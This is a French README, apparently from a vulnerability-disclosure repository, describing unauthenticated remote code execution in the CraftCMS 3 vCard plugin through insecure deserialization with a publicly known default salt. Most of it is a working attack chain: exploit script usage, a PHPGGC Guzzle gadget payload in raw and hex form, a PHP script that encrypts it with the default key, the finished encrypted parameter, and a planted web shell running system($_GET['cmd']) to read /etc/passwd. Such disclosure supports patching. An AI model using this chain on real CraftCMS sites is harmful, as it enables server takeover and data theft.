
Ce dépôt contient des détails sur une vulnérabilité trouvée dans le plugin « vCard » pour CraftCMS 3.
Craft CMS dispose d'un plugin pour télécharger des contacts au format de fichier *.vcf intitulé « vCard ». Le plugin peut être consulté dans le dépôt de Craft et sur Github : Craft Plugin Store Github
Ce plugin prend un paramètre envoyé par le client, déchiffre la valeur avec openssl_decrypt, puis passe la chaîne résultante à la fonction unserialize de PHP. Comme le sel par défaut du chiffrement est disponible dans le dépôt, un attaquant peut utiliser la même logique pour chiffrer une charge utile sérialisée malveillante.
Si l'utilisateur a configuré une valeur de « salt » modifiée dans les paramètres du plugin, celle-ci devra être fournie comme paramètre au script Python. Cependant, cette valeur restera inchangée si le plugin est téléchargé depuis la boutique de plugins ou simplement en clonant le dépôt. Il n'existe aucune option pour la modifier via l'interface web de Craft.
Exécutez le script en fournissant le lien vCard qui déclenche le téléchargement du contact. Supprimez la valeur du paramètre vcard.
Le paramètre à passer au script serait alors : "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Une valeur de sel facultative peut être fournie. Toutes les options sont affichées ci-dessous :
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Le script Python a été testé avec Python 3.6
Le script exécutera une commande PHP sur la machine de l'attaquant pour chiffrer la charge utile. Par conséquent, php-cli devra être installé. Cette attaque a été testée avec PHP 7.2-cli et PHP 7.3-cli
Voici un aperçu de l'endroit où le code désérialise de manière non sécurisée (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Le paramètre $optionsString est la valeur du paramètre d'URL « vcard » fourni par le client. Il passe par la fonction decrypt puis est désérialisé. Si le client peut reproduire le chiffrement, alors ce code devient vulnérable car il désérialise directement des données fournies par l'utilisateur.
Voici la fonction de chiffrement en question (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
La seule valeur qu'un attaquant doit connaître est la variable $key définie par « VCard::$plugin->getSettings()->salt ». La valeur par défaut peut être consultée dans le dépôt sous la forme « s34s4L7 » (config.php:26) Github
En supposant que le sel par défaut est utilisé, un attaquant peut forcer la désérialisation de n'importe quelle classe dans l'installation Craft.
Nous devons trouver une classe « gadget » dans l'installation par défaut de Craft que nous pouvons utiliser à des fins malveillantes. L'examen des classes qui possèdent des fonctions magiques __destruct ou __wakeup fournit une liste suffisamment restreinte pour être analysée. Cela peut être fait avec « grep -rni < path to web root > -e '__destruct' »
guzzlehttp possède une classe intitulée « FileCookieJar » qui semble enregistrer un fichier en utilisant un attribut de classe comme nom de fichier :
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
L'examen de la fonction save montre qu'elle écrit des données dans un chemin de fichier système, le chemin et les données étant tous deux des attributs de classe contrôlés par l'attaquant. Il est logique que lorsque cet objet de classe est détruit, il écrive les cookies qu'il contient dans l'attribut du nom de fichier pour être récupérés ou utilisés ultérieurement. Voici le contenu de la fonction save, avec file_put_contents comme cible (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Heureusement, nous n'avons pas à faire le travail manuel nécessaire pour construire nous-mêmes la charge utile malveillante. L'outil remarquable PHPGGC automatise la sérialisation d'une classe Guzzle avec une charge utile que nous pouvons utiliser dans cet exploit.
J'ai utilisé l'outil pour créer ceci comme charge utile de base pour le script d'exploitation, bien qu'elle soit légèrement modifiée selon le nom de fichier. Il est également important de noter que si vous générez une nouvelle charge utile avec PHPGGC, le paramètre « -f » doit être utilisé, sinon la fonction magique __destruct ne s'exécutera pas :
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
Le contenu de sample.txt est :
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Attention : un simple copier-coller ne fonctionnera pas ici car la classe sérialisée contient des octets nuls qui doivent être présents pour que les attributs soient correctement mappés. J'ai dû convertir la sortie brute de l'outil en hexadécimal, puis la reconvertir en chaîne tout en imitant le processus de chiffrement. Voici la commande bash utilisée pour obtenir la charge utile hexadécimale.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
Il peut y avoir un octet « 0A » à la fin de la charge utile générée. Si c'est le cas, supprimez-le. Quoi qu'il en soit, maintenant que nous avons une charge utile de PHPGGC et l'avons convertie en hexadécimal, nous devons la chiffrer avant de l'envoyer à la fonction vulnérable du plugin. En reprenant la logique de la fonction de chiffrement vCard mentionnée précédemment, il suffit de convertir notre charge utile hexadécimale et de la chiffrer. Voici le script PHP que j'ai utilisé :
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
Et le résultat obtenu :
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Enfin ! Maintenant que nous avons notre charge utile, il suffit de l'envoyer dans une requête et le shell sera disponible. Le lien d'un téléchargement vCard valide varie. Voici un exemple issu de mon déploiement de test :
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
La valeur du paramètre vcard est supprimée et remplacée par notre valeur malveillante :
La chaîne passe en tant que $optionsString, est déchiffrée, puis désérialisée, ce qui provoque une erreur interne du serveur. L'examen du système de fichiers du serveur web de test montre qu'un nouveau fichier shell.php a été créé :
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
En visitant http://craftcms/shell.php dans mon navigateur, je peux maintenant passer des commandes système via le paramètre GET cmd.
Exemple : http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Génération de gadgets PHP: https://github.com/ambionics/phpggc
Plugin vCard: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
Documentation de unserialize: https://www.php.net/manual/en/function.unserialize.php